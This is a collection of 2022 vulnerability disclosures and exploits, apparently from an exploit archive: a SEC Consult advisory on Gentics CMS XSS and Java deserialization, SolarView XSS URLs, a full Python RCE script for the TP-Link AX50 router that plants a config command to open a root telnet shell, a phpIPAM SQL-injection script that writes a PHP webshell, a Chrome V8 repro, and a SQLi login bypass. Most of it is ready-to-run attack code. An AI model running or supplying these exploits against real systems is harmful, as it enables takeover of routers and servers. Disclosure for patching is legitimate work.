<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20220608-0 ><br />=======================================================================<br /> title: Stored Cross-Site Scripting & Unsafe Java Deserializiation<br /> product: Gentics CMS<br /> vulnerable version: 5.36.29, see section below<br /> fixed version: 5.40.27, 5.41.15, 5.42.7, 5.43.1 or higher<br /> CVE number: CVE-2022-30981, CVE-2022-30982<br /> impact: high<br /> homepage: https://www.gentics.com/<br /> found: 2021-04-02<br /> by: Gerhard Hechenberger (Office Vienna)<br /> Steffen Robertz (Office Vienna)<br /> SEC Consult Vulnerability Lab<br /><br /> An integrated part of SEC Consult, an Atos company<br /> Europe | Asia | North America<br /><br /> https://www.sec-consult.com<br /><br />=======================================================================<br /><br />Vendor description:<br />-------------------<br />"APA-IT Informations Technologie GmbH offers offers support with a focus on<br />media solutions and IT-outsourcing. As a subsidiary of APA – Austria Press<br />Agency, we are responsible for the IT of the Austrian news agency as well<br />as numerous other media enterprises.<br />This expertise and insight into the industry make APA-IT an expert for IT<br />solutions for publishers and media-related companies. Existing systems and<br />tools are constantly developed and tailored to individual customer needs.<br />As such, APA-IT is always available – from conception to operation."<br /><br />Source: https://www.gentics.com/genticscms/company_gentics.en.html<br /><br /><br />Business recommendation:<br />------------------------<br />The vendor provides a patch which should be installed immediately.<br /><br />SEC Consult recommends to perform a thorough security review of these products<br />conducted by security professionals to identify and resolve all security<br />issues.<br /><br /><br />Vulnerability overview/description:<br />-----------------------------------<br />1) Multiple Stored Cross-Site Scripting Vulnerabilities (CVE-2022-30982)<br />Multiple cross-site scripting vulnerabilities are present in the application.<br />An attacker can store malicious JavaScript code in the username and profile<br />description. The code will execute once an admin user hovers over the<br />attacker's username. Thus, the attacker can execute code in the context of an<br />admin.<br /><br />2) Unsafe Java Deserialization (CVE-2022-30981)<br />The Gentics CMS has an import option which will accept ZIP files. The archive<br />includes a Java serialized object that gets deserialized on import. This can<br />lead to code execution on the server.<br />A low privileged user might be able to exploit this vulnerability by chaining<br />it together with vulnerability 1).<br /><br /><br />Proof of concept:<br />-----------------<br />1) Multiple Stored Cross-Site Scripting Vulnerabilities (CVE-2022-30982)<br />To trigger the first XSS, an attacker has to change the profile description to<br />include a payload, e.g. "<script>alert(document.domain)</script)". The payload<br />will execute once a user with access to the userlist hovers his mouse over the<br />profile name. The event "onmouseover" will trigger following code:<br /><br />JSI3_comp_list_401__ass( this, 'Properties', '<b>Malicious User Name</b><br><br /><script>alert(document.domain)</script><br><br>created:<br> 09/20/2002<br />( Gentics Support)<br>last edited:<br>15:56 (Malicious Username)', '' );<br /><br />The execution of the code leads to following function:<br /><br />function JSI3_comp_list_401__ass( obj, title, text, assTitle )<br />{<br /> JSI3_comp_list_401__assReset();<br /> clearTimeout( JSI3_comp_list_401___ass_timeout );<br /> JSI3_comp_list_401__ass_show_row( obj, title, text, assTitle );<br />}<br /><br />The malicious code, which is contained in the "text" parameter, gets passed<br />through to the next function. There it is added to an HTML element and thus<br />executed in the browser.<br /><br />function JSI3_comp_list_401__ass_show_row( obj, title, text, assTitle ) {<br /> if (!JSI3_comp_list_401__ass_show_row_tipsy[obj.id]) {<br /> JSI3_comp_list_401__ass_show_row_tipsy[obj.id] = true;<br /> $(obj).attr('title', '<h6>'+title+'</h6>'+text+((assTitle)?'<br>'+assTitle:''));<br /> $(obj).tipsy({<br /> trigger: 'manual',<br /> html: true,<br /> offset: 3,<br /> delayIn: 900,<br /> delayOut: 0,<br /> opacity: 0.85,<br /> gravity: 'nww'<br /> });<br /> }<br /> $(obj).tipsy("show");<br /> gcn_active_tipsy = obj;<br />}<br /><br /><br />Another XSS vector can be found in the parameters "First Name" and "Last Name".<br />By e.g. changing the last name to 'Node" onload="alert(document.domain)',<br />JavaScript code is added to the profile picture that is loaded in the upper<br />right corner on every page. The following snippet shows the vulnerable line of<br />code:<br /><br /><div id="profil"><br /><div><img src="?do=11&module=system&img=profile_man.png" title="Admin Node" onload="alert(document.domain)" class="profile_avatar"></div><br /><br /><br />The third XSS is caused by changing the first and last name into JavaScript<br />code without prior encoding. Changing the last name to<br />"Last Name'+eval(alert(document.domain))+'" will cause the following code to be<br />included in the server's response:<br /><br /><script language="JavaScript" type="text/javascript"><br /> var menus = new Array();<br /> var imgs = new Array();<br /> menus['Admin Last Name'+eval(alert(document.domain))+''] = new Array();<br /> menus['Admin Last Name'+eval(alert(document.domain))+'']['layer_pos'] = 1;<br /> menus['Admin Last Name'+eval(alert(document.domain))+'']['align'] = 'r';<br /><br /><br />2) Unsafe Java Deserialization (CVE-2022-30981)<br />First, a malicious ZIP archive needs to be created. The following files will need to<br />be included within this archive:<br /><br />bundlebuild.xml:<br /><br /><?xml version="1.0" encoding="UTF-8"?><br /><bundlebuild><br /> <bundleinfo><br /> <name><![CDATA[test4]]></name><br /> <sourcehost><![CDATA[b1d80757b76c]]></sourcehost><br /> <description><![CDATA[]]></description><br /> <globalid>9d6243ab-a281-11eb-9ae3-0242ac130004</globalid><br /> <globalprefix>D77D</globalprefix><br /> </bundleinfo><br /> <builds><br /> <build><br /> <builddate>1618996405</builddate><br /> <changelog><![CDATA[test4]]></changelog><br /> <count>0</count><br /> </build><br /> </builds><br /> <tables><br /> </tables><br /></bundlebuild><br /><br />containedobjects.xml:<br /><br /><?xml version="1.0" encoding="UTF-8"?><br /><objects><br /></objects><br /><br /><br />The third file has to be named "serializedjava.bin" and contains the actual<br />payload. A demo payload can be generated with following command:<br />$ ysoserial FileUpload1 'write;/tmp;SECTEST' > serializedjava.bin<br /><br />Those three files have to be zipped together into an archive, which can be<br />uploaded.<br /><br />The import feature is available under Enterprise CMS -> Administration -><br />Import and Export. Now select New->Import and upload the malicious ZIP archive.<br />Wait until the import completed. Now click on "Test succeeded" in the file<br />list. On the new screen select "Start import in background". The payload should<br />create a file called "upload_<random_uuid>.tmp" in the folder /tmp. It will<br />contain the string "SECTEST".<br />Better deserialization chains could be built to reach more interesting targets.<br />It is very likely, that RCE could be obtained by writing an own deserialization<br />chain.<br /><br /><br />Vulnerable / tested versions:<br />-----------------------------<br />The following product version has been tested and found to be vulnerable. Other versions<br />are vulnerable as well, please see the vendor's changelog in the solution section.<br /><br />* Gentics CMS 5.36.29<br /><br /><br /><br />Vendor contact timeline:<br />------------------------<br />2022-04-04: Contacting vendor through support@gentics.com<br />2022-04-04: Ticket SUP-13323 created.<br />2022-04-05: Sent advisory via unencrypted email to provided vendor email address.<br />2022-05-04: Updates for Gentics CMS were released on 14th April.<br />2022-05-05: Gentics provides us with the fixed version numbers.<br />2022-06-08: Release of security advisory.<br /><br /><br />Solution:<br />---------<br />Update to versions greater or equal to:<br />* 5.40.27 (see https://gentics.com/Content.Node/changelog/5.40.0/5.40.27.html)<br />* 5.41.15 (see https://gentics.com/Content.Node/changelog/5.41.0/5.41.15.html)<br />* 5.42.7 (see https://gentics.com/Content.Node/changelog/5.42.0/5.42.7.html)<br />* 5.43.1 (see https://gentics.com/Content.Node/changelog/5.43.0/5.43.1.html)<br /><br /><br />Workaround:<br />-----------<br />None<br /><br /><br />Advisory URL:<br />-------------<br />https://sec-consult.com/vulnerability-lab/<br /><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />SEC Consult Vulnerability Lab<br /><br />SEC Consult, an Atos company<br />Europe | Asia | North America<br /><br />About SEC Consult Vulnerability Lab<br />The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br />Atos company. It ensures the continued knowledge gain of SEC Consult in the<br />field of network and application security to stay ahead of the attacker. The<br />SEC Consult Vulnerability Lab supports high-quality penetration testing and<br />the evaluation of new offensive and defensive technologies for our customers.<br />Hence our customers obtain the most current information about vulnerabilities<br />and valid recommendation about the risk profile of new technologies.<br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />Interested to work with the experts of SEC Consult?<br />Send us your application https://sec-consult.com/career/<br /><br />Interested in improving your cyber security with the experts of SEC Consult?<br />Contact our local offices https://sec-consult.com/contact/<br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />Mail: security-research at sec-consult dot com<br />Web: https://www.sec-consult.com<br />Blog: http://blog.sec-consult.com<br />Twitter: https://twitter.com/sec_consult<br /><br />EOF Gerhard Hechenberger, Steffen Robertz / @2022<br /><br /></code></pre>
<pre><code># Exploit Title: SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting (XSS)<br /># Date: 2022-05-15<br /># Exploit Author: Ahmed Alroky<br /># Author Company : AIactive<br /># Version: ver.6.00<br /># Vendor home page : https://www.contec.com/<br /># Authentication Required: No<br /># CVE : CVE-2022-29299<br /># Tested on: Windows<br /><br /># Proof Of Concept:<br /><br />http://IP_ADDRESS/Solar_History.php?time_begin=xx%22%3E%3Cscript%3Ealert(9)%3C/script%3E%3C%22&time_end=&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj%27&sort_type=0&record=10&command=%95%5C%8E%A6<br /><br /><br /># Exploit Title: SolarView Compact 6.00 - 'pow' Cross-Site Scripting (XSS)<br /># Date: 2022-05-15<br /># Exploit Author: Ahmed Alroky<br /># Author Company : AIactive<br /># Version: ver.6.00<br /># Vendor home page : https://www.contec.com/<br /># Authentication Required: No<br /># CVE : CVE-2022-29301<br /># Tested on: Windows<br /><br /># Proof Of Concept:<br />http://IP_ADDRESS/Solar_SlideSub.php?id=4&play=1&pow=sds%22%3E%3Cscript%3Ealert(9)%3C/script%3E%3C%22&bgcolor=green<br /><br /></code></pre>
<pre><code># Exploit Title: TP-Link Router AX50 firmware 210730 - Remote Code Execution (RCE) (Authenticated)<br /># Exploit Author: Tomas Melicher<br /># Technical Details: https://github.com/aaronsvk/CVE-2022-30075<br /># Date: 2022-06-08<br /># Vendor Homepage: https://www.tp-link.com/<br /># Tested On: Tp-Link Archer AX50<br /># Vulnerability Description: Remote Code Execution via importing malicious config file<br /># CVE: CVE-2022-30075<br /><br />#!/usr/bin/python3<br /><br />import argparse # pip install argparse<br />import requests # pip install requests<br />import binascii, base64, os, re, json, sys, time, math, random, hashlib<br />import tarfile, zlib<br />from Crypto.Cipher import AES, PKCS1_v1_5, PKCS1_OAEP # pip install pycryptodome<br />from Crypto.PublicKey import RSA<br />from Crypto.Util.Padding import pad, unpad<br />from Crypto.Random import get_random_bytes<br />from urllib.parse import urlencode<br /><br />class WebClient(object):<br /><br /> def __init__(self, target, password):<br /> self.target = target<br /> self.password = password.encode('utf-8')<br /> self.password_hash = hashlib.md5(('admin%s'%password).encode('utf-8')).hexdigest().encode('utf-8')<br /> self.aes_key = (str(time.time()) + str(random.random())).replace('.','')[0:AES.block_size].encode('utf-8')<br /> self.aes_iv = (str(time.time()) + str(random.random())).replace('.','')[0:AES.block_size].encode('utf-8')<br /><br /> self.stok = ''<br /> self.session = requests.Session()<br /><br /> data = self.basic_request('/login?form=auth', {'operation':'read'})<br /> if data['success'] != True:<br /> print('[!] unsupported router')<br /> return<br /> self.sign_rsa_n = int(data['data']['key'][0], 16)<br /> self.sign_rsa_e = int(data['data']['key'][1], 16)<br /> self.seq = data['data']['seq']<br /><br /> data = self.basic_request('/login?form=keys', {'operation':'read'})<br /> self.password_rsa_n = int(data['data']['password'][0], 16)<br /> self.password_rsa_e = int(data['data']['password'][1], 16)<br /><br /> self.stok = self.login()<br /><br /><br /> def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext):<br /> cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)<br /> plaintext_padded = pad(plaintext, aes_block_size)<br /> return cipher.encrypt(plaintext_padded)<br /><br /><br /> def aes_decrypt(self, aes_key, aes_iv, aes_block_size, ciphertext):<br /> cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)<br /> plaintext_padded = cipher.decrypt(ciphertext)<br /> plaintext = unpad(plaintext_padded, aes_block_size)<br /> return plaintext<br /><br /><br /> def rsa_encrypt(self, n, e, plaintext):<br /> public_key = RSA.construct((n, e)).publickey()<br /> encryptor = PKCS1_v1_5.new(public_key)<br /> block_size = int(public_key.n.bit_length()/8) - 11<br /> encrypted_text = ''<br /> for i in range(0, len(plaintext), block_size):<br /> encrypted_text += encryptor.encrypt(plaintext[i:i+block_size]).hex()<br /> return encrypted_text<br /><br /><br /> def download_request(self, url, post_data):<br /> res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data=post_data, stream=True)<br /> filepath = os.getcwd()+'/'+re.findall(r'(?<=filename=")[^"]+', res.headers['Content-Disposition'])[0]<br /> if os.path.exists(filepath):<br /> print('[!] can\'t download, file "%s" already exists' % filepath)<br /> return<br /> with open(filepath, 'wb') as f:<br /> for chunk in res.iter_content(chunk_size=4096):<br /> f.write(chunk)<br /> return filepath<br /><br /><br /> def basic_request(self, url, post_data, files_data={}):<br /> res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data=post_data, files=files_data)<br /> return json.loads(res.content)<br /><br /><br /> def encrypted_request(self, url, post_data):<br /> serialized_data = urlencode(post_data)<br /> encrypted_data = self.aes_encrypt(self.aes_key, self.aes_iv, AES.block_size, serialized_data.encode('utf-8'))<br /> encrypted_data = base64.b64encode(encrypted_data)<br /><br /> signature = ('k=%s&i=%s&h=%s&s=%d'.encode('utf-8')) % (self.aes_key, self.aes_iv, self.password_hash, self.seq+len(encrypted_data))<br /> encrypted_signature = self.rsa_encrypt(self.sign_rsa_n, self.sign_rsa_e, signature)<br /><br /> res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data={'sign':encrypted_signature, 'data':encrypted_data}) # order of params is important<br /> if(res.status_code != 200):<br /> print('[!] url "%s" returned unexpected status code'%(url))<br /> return<br /> encrypted_data = json.loads(res.content)<br /> encrypted_data = base64.b64decode(encrypted_data['data'])<br /> data = self.aes_decrypt(self.aes_key, self.aes_iv, AES.block_size, encrypted_data)<br /> return json.loads(data)<br /><br /><br /> def login(self):<br /> post_data = {'operation':'login', 'password':self.rsa_encrypt(self.password_rsa_n, self.password_rsa_e, self.password)}<br /> data = self.encrypted_request('/login?form=login', post_data)<br /> if data['success'] != True:<br /> print('[!] login failed')<br /> return<br /> print('[+] logged in, received token (stok): %s'%(data['data']['stok']))<br /> return data['data']['stok']<br /><br /><br /><br />class BackupParser(object):<br /><br /> def __init__(self, filepath):<br /> self.encrypted_path = os.path.abspath(filepath)<br /> self.decrypted_path = os.path.splitext(filepath)[0]<br /><br /> self.aes_key = bytes.fromhex('2EB38F7EC41D4B8E1422805BCD5F740BC3B95BE163E39D67579EB344427F7836') # strings ./squashfs-root/usr/lib/lua/luci/model/crypto.lua<br /> self.iv = bytes.fromhex('360028C9064242F81074F4C127D299F6') # strings ./squashfs-root/usr/lib/lua/luci/model/crypto.lua<br /><br /><br /> def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext):<br /> cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)<br /> plaintext_padded = pad(plaintext, aes_block_size)<br /> return cipher.encrypt(plaintext_padded)<br /><br /><br /> def aes_decrypt(self, aes_key, aes_iv, aes_block_size, ciphertext):<br /> cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)<br /> plaintext_padded = cipher.decrypt(ciphertext)<br /> plaintext = unpad(plaintext_padded, aes_block_size)<br /> return plaintext<br /><br /><br /> def encrypt_config(self):<br /> if not os.path.isdir(self.decrypted_path):<br /> print('[!] invalid directory "%s"'%(self.decrypted_path))<br /> return<br /><br /> # encrypt, compress each .xml using zlib and add them to tar archive<br /> with tarfile.open('%s/data.tar'%(self.decrypted_path), 'w') as tar:<br /> for filename in os.listdir(self.decrypted_path):<br /> basename,ext = os.path.splitext(filename)<br /> if ext == '.xml':<br /> xml_path = '%s/%s'%(self.decrypted_path,filename)<br /> bin_path = '%s/%s.bin'%(self.decrypted_path,basename)<br /> with open(xml_path, 'rb') as f:<br /> plaintext = f.read()<br /> if len(plaintext) == 0:<br /> f = open(bin_path, 'w')<br /> f.close()<br /> else:<br /> compressed = zlib.compress(plaintext)<br /> encrypted = self.aes_encrypt(self.aes_key, self.iv, AES.block_size, compressed)<br /> with open(bin_path, 'wb') as f:<br /> f.write(encrypted)<br /> tar.add(bin_path, os.path.basename(bin_path))<br /> os.unlink(bin_path)<br /> # compress tar archive using zlib and encrypt<br /> with open('%s/md5_sum'%(self.decrypted_path), 'rb') as f1, open('%s/data.tar'%(self.decrypted_path), 'rb') as f2:<br /> compressed = zlib.compress(f1.read()+f2.read())<br /> encrypted = self.aes_encrypt(self.aes_key, self.iv, AES.block_size, compressed)<br /> # write into final config file<br /> with open('%s'%(self.encrypted_path), 'wb') as f:<br /> f.write(encrypted)<br /> os.unlink('%s/data.tar'%(self.decrypted_path))<br /><br /><br /> def decrypt_config(self):<br /> if not os.path.isfile(self.encrypted_path):<br /> print('[!] invalid file "%s"'%(self.encrypted_path))<br /> return<br /><br /> # decrypt and decompress config file<br /> with open(self.encrypted_path, 'rb') as f:<br /> decrypted = self.aes_decrypt(self.aes_key, self.iv, AES.block_size, f.read())<br /> decompressed = zlib.decompress(decrypted)<br /> os.mkdir(self.decrypted_path)<br /> # store decrypted data into files<br /> with open('%s/md5_sum'%(self.decrypted_path), 'wb') as f:<br /> f.write(decompressed[0:16])<br /> with open('%s/data.tar'%(self.decrypted_path), 'wb') as f:<br /> f.write(decompressed[16:])<br /> # untar second part of decrypted data<br /> with tarfile.open('%s/data.tar'%(self.decrypted_path), 'r') as tar:<br /> tar.extractall(path=self.decrypted_path)<br /> # decrypt and decompress each .bin file from tar archive<br /> for filename in os.listdir(self.decrypted_path):<br /> basename,ext = os.path.splitext(filename)<br /> if ext == '.bin':<br /> bin_path = '%s/%s'%(self.decrypted_path,filename)<br /> xml_path = '%s/%s.xml'%(self.decrypted_path,basename)<br /> with open(bin_path, 'rb') as f:<br /> ciphertext = f.read()<br /> os.unlink(bin_path)<br /> if len(ciphertext) == 0:<br /> f = open(xml_path, 'w')<br /> f.close()<br /> continue<br /> decrypted = self.aes_decrypt(self.aes_key, self.iv, AES.block_size, ciphertext)<br /> decompressed = zlib.decompress(decrypted)<br /> with open(xml_path, 'wb') as f:<br /> f.write(decompressed)<br /> os.unlink('%s/data.tar'%(self.decrypted_path))<br /><br /><br /> def modify_config(self, command):<br /> xml_path = '%s/ori-backup-user-config.xml'%(self.decrypted_path)<br /> if not os.path.isfile(xml_path):<br /> print('[!] invalid file "%s"'%(xml_path))<br /> return<br /><br /> with open(xml_path, 'r') as f:<br /> xml_content = f.read()<br /><br /> # https://openwrt.org/docs/guide-user/services/ddns/client#detecting_wan_ip_with_script<br /> payload = '<service name="exploit">\n'<br /> payload += '<enabled>on</enabled>\n'<br /> payload += '<update_url>http://127.0.0.1/</update_url>\n'<br /> payload += '<domain>x.example.org</domain>\n'<br /> payload += '<username>X</username>\n'<br /> payload += '<password>X</password>\n'<br /> payload += '<ip_source>script</ip_source>\n'<br /> payload += '<ip_script>%s</ip_script>\n' % (command.replace('<','<').replace('&','&'))<br /> payload += '<interface>internet</interface>\n' # not worked for other interfaces<br /> payload += '<retry_interval>5</retry_interval>\n'<br /> payload += '<retry_unit>seconds</retry_unit>\n'<br /> payload += '<retry_times>3</retry_times>\n'<br /> payload += '<check_interval>12</check_interval>\n'<br /> payload += '<check_unit>hours</check_unit>\n'<br /> payload += '<force_interval>30</force_interval>\n'<br /> payload += '<force_unit>days</force_unit>\n'<br /> payload += '</service>\n'<br /><br /> if '<service name="exploit">' in xml_content:<br /> xml_content = re.sub(r'<service name="exploit">[\s\S]+?</service>\n</ddns>', '%s</ddns>'%(payload), xml_content, 1)<br /> else:<br /> xml_content = xml_content.replace('</service>\n</ddns>', '</service>\n%s</ddns>'%(payload), 1)<br /> with open(xml_path, 'w') as f:<br /> f.write(xml_content)<br /><br /><br /><br />arg_parser = argparse.ArgumentParser()<br />arg_parser.add_argument('-t', metavar='target', help='ip address of tp-link router', required=True)<br />arg_parser.add_argument('-p', metavar='password', required=True)<br />arg_parser.add_argument('-b', action='store_true', help='only backup and decrypt config')<br />arg_parser.add_argument('-r', metavar='backup_directory', help='only encrypt and restore directory with decrypted config')<br />arg_parser.add_argument('-c', metavar='cmd', default='/usr/sbin/telnetd -l /bin/login.sh', help='command to execute')<br />args = arg_parser.parse_args()<br /><br />client = WebClient(args.t, args.p)<br />parser = None<br /><br />if not args.r:<br /> print('[*] downloading config file ...')<br /> filepath = client.download_request('/admin/firmware?form=config_multipart', {'operation':'backup'})<br /> if not filepath:<br /> sys.exit(-1)<br /><br /> print('[*] decrypting config file "%s" ...'%(filepath))<br /> parser = BackupParser(filepath)<br /> parser.decrypt_config()<br /> print('[+] successfully decrypted into directory "%s"'%(parser.decrypted_path))<br /><br />if not args.b and not args.r:<br /> filepath = '%s_modified'%(parser.decrypted_path)<br /> os.rename(parser.decrypted_path, filepath)<br /> parser.decrypted_path = os.path.abspath(filepath)<br /> parser.encrypted_path = '%s.bin'%(filepath)<br /> parser.modify_config(args.c)<br /> print('[+] modified directory with decrypted config "%s" ...'%(parser.decrypted_path))<br /><br />if not args.b:<br /> if parser is None:<br /> parser = BackupParser('%s.bin'%(args.r.rstrip('/')))<br /> print('[*] encrypting directory with modified config "%s" ...'%(parser.decrypted_path))<br /> parser.encrypt_config()<br /> data = client.basic_request('/admin/firmware?form=config_multipart', {'operation':'read'})<br /> timeout = data['data']['totaltime'] if data['success'] else 180<br /> print('[*] uploading modified config file "%s"'%(parser.encrypted_path))<br /> data = client.basic_request('/admin/firmware?form=config_multipart', {'operation':'restore'}, {'archive':open(parser.encrypted_path,'rb')})<br /> if not data['success']:<br /> print('[!] unexpected response')<br /> print(data)<br /> sys.exit(-1)<br /><br /> print('[+] config file successfully uploaded')<br /> print('[*] router will reboot in few seconds... when it becomes online again (few minutes), try "telnet %s" and enjoy root shell !!!'%(args.t))<br /> <br /></code></pre>
<pre><code># Exploit Title: phpIPAM 1.4.5 - Remote Code Execution (RCE) (Authenticated)<br /># Date: 2022-04-10<br /># Exploit Author: Guilherme '@behiNdyk1' Alves<br /># Vendor Homepage: https://phpipam.net/<br /># Software Link: https://github.com/phpipam/phpipam/releases/tag/v1.4.5<br /># Version: 1.4.5<br /># Tested on: Linux Ubuntu 20.04.3 LTS<br /><br />#!/usr/bin/env python3<br /><br />import requests<br />import argparse<br />from sys import exit, argv<br />from termcolor import colored<br /><br />banner = """<br />█▀█ █░█ █▀█ █ █▀█ ▄▀█ █▀▄▀█ ▄█ ░ █░█ ░ █▀ █▀ █▀█ █░░ █ ▀█▀ █▀█ █▀█ █▀▀ █▀▀<br />█▀▀ █▀█ █▀▀ █ █▀▀ █▀█ █░▀░█ ░█ ▄ ▀▀█ ▄ ▄█ ▄█ ▀▀█ █▄▄ █ ░█░ █▄█ █▀▄ █▄▄ ██▄<br /><br />█▄▄ █▄█ █▄▄ █▀▀ █░█ █ █▄░█ █▀▄ █▄█ █▀ █▀▀ █▀▀<br />█▄█ ░█░ █▄█ ██▄ █▀█ █ █░▀█ █▄▀ ░█░ ▄█ ██▄ █▄▄\n"""<br />print(banner)<br /><br />parser = argparse.ArgumentParser(usage="./exploit.py -url http://domain.tld/ipam_base_url -usr username -pwd password -cmd 'command_to_execute' --path /system/writable/path/to/save/shell", description="phpIPAM 1.4.5 - (Authenticated) SQL Injection to RCE")<br /><br />parser.add_argument("-url", type=str, help="URL to vulnerable IPAM", required=True)<br />parser.add_argument("-usr", type=str, help="Username to log in as", required=True)<br />parser.add_argument("-pwd", type=str, help="User's password", required=True)<br />parser.add_argument("-cmd", type=str, help="Command to execute", default="id")<br />parser.add_argument("--path", type=str, help="Path to writable system folder and accessible via webserver (default: /var/www/html)", default="/var/www/html")<br />parser.add_argument("--shell", type=str, help="Spawn a shell (non-interactive)", nargs="?")<br />args = parser.parse_args()<br /><br />url = args.url<br />username = args.usr<br />password = args.pwd<br />command = args.cmd<br />path = args.path<br /><br /># Validating url<br />if url.endswith("/"):<br /> url = url[:-1]<br />if not url.startswith("http://") and not url.startswith("https://"):<br /> print(colored("[!] Please specify a valid scheme (http:// or https://) before the domain.", "yellow"))<br /> exit()<br /><br />def login(url, username, password):<br /> """Takes an username and a password and tries to execute a login (IPAM)"""<br /> data = {<br /> "ipamusername": username,<br /> "ipampassword": password<br /> }<br /> print(colored(f"[...] Trying to log in as {username}", "blue"))<br /> r = requests.post(f"{url}/app/login/login_check.php", data=data)<br /> if "Invalid username or password" in r.text:<br /> print(colored(f"[-] There's an error when trying to log in using these credentials --> {username}:{password}", "red"))<br /> exit()<br /> else:<br /> print(colored("[+] Login successful!", "green"))<br /> return str(r.cookies['phpipam'])<br /><br />auth_cookie = login(url, username, password)<br /><br />def exploit(url, auth_cookie, path, command):<br /> print(colored("[...] Exploiting", "blue"))<br /> vulnerable_path = "app/admin/routing/edit-bgp-mapping-search.php"<br /> data = {<br /> "subnet": f"\" Union Select 1,0x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d,3,4 INTO OUTFILE '{path}/evil.php' -- -",<br /> "bgp_id": "1"<br /> }<br /> cookies = {<br /> "phpipam": auth_cookie<br /> }<br /> requests.post(f"{url}/{vulnerable_path}", data=data, cookies=cookies)<br /> test = requests.get(f"{url}/evil.php")<br /> if test.status_code != 200:<br /> return print(colored(f"[-] Something went wrong. Maybe the path isn't writable. You can still abuse of the SQL injection vulnerability at {url}/index.php?page=tools&section=routing&subnetId=bgp&sPage=1", "red"))<br /> if "--shell" in argv:<br /> while True:<br /> command = input("Shell> ")<br /> r = requests.get(f"{url}/evil.php?cmd={command}")<br /> print(r.text)<br /> else:<br /> print(colored(f"[+] Success! The shell is located at {url}/evil.php. Parameter: cmd", "green"))<br /> r = requests.get(f"{url}/evil.php?cmd={command}")<br /> print(f"\n\n[+] Output:\n{r.text}")<br /><br />exploit(url, auth_cookie, path, command)<br /> <br /></code></pre>
<pre><code>Chrome: Incomplete fix for CVE-2022-1096<br /><br />VULNERABILITY DETAILS<br />The fix for https://crbug.com/1309225 has modified `SetPropertyInternal()` to fall back to `SetSuperProperty()` whenever a property access interceptor is encountered because `SetSuperProperty()` is robust against possible side effects caused by interceptors.<br /><br />Unfortunately, the function `JSObject::DefineOwnPropertyIgnoreAttributes()` is also affected by the bug and requires the same change.<br /><br /><br />VERSION<br />Google Chrome 100.0.4896.60 (Official Build) (arm64)<br />Chromium 102.0.4972.0 (Developer Build) (64-bit)<br /><br /><br />REPRODUCTION CASE<br />To make the exploit functional again, the attacker only needs to replace one property store with an `Object.defineProperty()` call:<br /><br />```<br /><script><br />style = document.createElement('p').style;<br />Object.defineProperty(style, 'prop', {<br /> value: { toString() { style.prop = 1 } }<br />});<br /></script><br />```<br /><br />The repro case above triggers the same DCHECK failure:<br /><br />```<br />#<br /># Fatal error in ../../v8/src/objects/map.cc, line 437<br /># Debug check failed: map->instance_descriptors(isolate) .Search(*name, map->NumberOfOwnDescriptors()) .is_not_found().<br />#<br />```<br /><br />CREDIT INFORMATION<br />Sergei Glazunov of Google Project Zero<br /><br /><br />This bug is subject to a 90-day disclosure deadline. If a fix for this<br />issue is made available to users before the end of the 90-day deadline,<br />this bug report will become public 30 days after the fix was made<br />available. Otherwise, this bug report will become public at the deadline.<br />The scheduled deadline is 2022-06-28.<br /><br /><br />Related CVE Numbers: CVE-2022-1232,CVE-2022-1096.<br /><br /><br /><br />Found by: glazunov@google.com<br /><br /></code></pre>
<pre><code># Exploit Title: Old Age Home Management System 1.0 - SQLi Authentication Bypass<br /># Date: 12/06/2022<br /># Exploit Author: twseptian<br /># Vendor Homepage: https://phpgurukul.com/old-age-home-management-system-using-php-and-mysql/<br /># Software Link: https://phpgurukul.com/projects/Old-Age-Home-MS-using-PHP.zip<br /># Version: v1.0<br /># Tested on: Kali Linux<br /><br /># Vulnerable code<br />line 9 in file "/oahms/admin/login.php"<br />$ret=mysqli_query($con,"SELECT ID FROM tbladmin WHERE UserName='$username' and Password='$password'");<br /><br /># Steps of reproduce:<br />1. Go to the admin login page http://localhost/oahms/admin/login.php<br />2. sqli payload: admin' or '1'='1';-- -<br />3. password: password<br /><br /># Proof of Concept<br /><br />POST /oahms/admin/login.php HTTP/1.1<br />Host: localhost<br />User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8<br />Accept-Language: en-US,en;q=0.5<br />Accept-Encoding: gzip, deflate<br />Content-Type: application/x-www-form-urlencoded<br />Content-Length: 71<br />Origin: http://localhost<br />Connection: close<br />Referer: http://localhost/oahms/admin/login.php<br />Cookie: ci_session=2c1ifme2jrmeeg2nsos66he8g3m1cfgj; PHPSESSID=8vj8hke2pc1h18ek8rq8bmgiqp<br />Upgrade-Insecure-Requests: 1<br />Sec-Fetch-Dest: document<br />Sec-Fetch-Mode: navigate<br />Sec-Fetch-Site: same-origin<br />Sec-Fetch-User: ?1<br /><br />username=admin%27+or+%271%27%3D%271%27%3B--+-&password=passwrod&submit=<br /><br /></code></pre>
